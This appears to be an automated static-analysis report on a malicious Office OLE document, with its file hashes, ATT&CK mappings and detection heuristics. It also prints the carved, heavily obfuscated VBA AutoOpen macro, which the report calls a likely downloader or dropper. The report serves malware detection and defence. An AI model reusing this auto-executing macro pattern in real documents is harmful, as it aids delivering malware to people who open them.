Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6e4c0bcbdecc03bd…

MALICIOUS

Office (OLE)

111.9 KB First seen: 2019-10-01
MD5: e5a83495a33ce27fe11dee9d902c562a SHA-1: ff0a4ae3b48134a6d83659589af4fd8ae1bc5bd9 SHA-256: 6e4c0bcbdecc03bd6996b8a2b254fef0ac1e58886420c38dfc227afd7a7b66ca
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OLE document with a high slack space anomaly and contains a VBA macro. The AutoOpen macro is present, indicating an attempt to automatically execute code when the document is opened. The VBA code itself is heavily obfuscated with meaningless variable names and appears to be a downloader or dropper, though the exact payload cannot be determined from the provided script.

Heuristics 4

  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 114,601 bytes but its declared streams total only 32,623 bytes — 81,978 bytes (72%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1184 bytes
SHA-256: 74870827e1d2c8d6abb83f954478921cd2ada459a7fbfa016d1f94187348a00f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "nHawNUvzilwUu"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   If Jwvvjn = Zjsuq Then

Dim JnTsr()
jXdET = tLUON + VGTzvB + YqoBo + oHVZYa
zJwZjs = kmbBKT + YjDJr

End If
   If SMrVpY Or 12 Then

Dim EXmwnT()
LKuTDZ = lPmqUi + XSPjJ + jwEDq + zjPpF

End If
   If wUuHaw >= TiCif Then

Dim dZmSf()
Cwirw = dCImvj + zjjjP
szJFi = aUYiz + jLumqN

End If
   If uDwTSN <= 5 Then

Dim PCLXY()
zcNhv = XNqJPG + GKuwM
qbbOE = rLmBMn + bNWwUR

End If
   If NZJqo <> AhzFiU Then

Dim PjFWPi()
IPFqc = cwWZjT + RCwJZ + QOzzzY + ZhzJT

End If
VJoaIrcvQAd (mfqmc + CHXCLI + jMsfAL + rRawNjKwWV + NajchIn + vDUfNBLRR + CzLKtSz + fRKEGd + OvCHpLr + iEtiMA + UDzRhjXO)
   If fkZkjO Eqv nAqiv Then

Dim cktjLl()
mdlrzm = fvCol + qOwWm + fENfSI + wKwUB
uhuBzi = tqmswC + pGOoWu + GhZzT + soNjaB

End If
   If ElkMd <= ofEjO Then

Dim jzkYwW()
VSqEs = JoJuiw + LPKkhR
XthwXj = WBjImB + njOhsj

End If
End Sub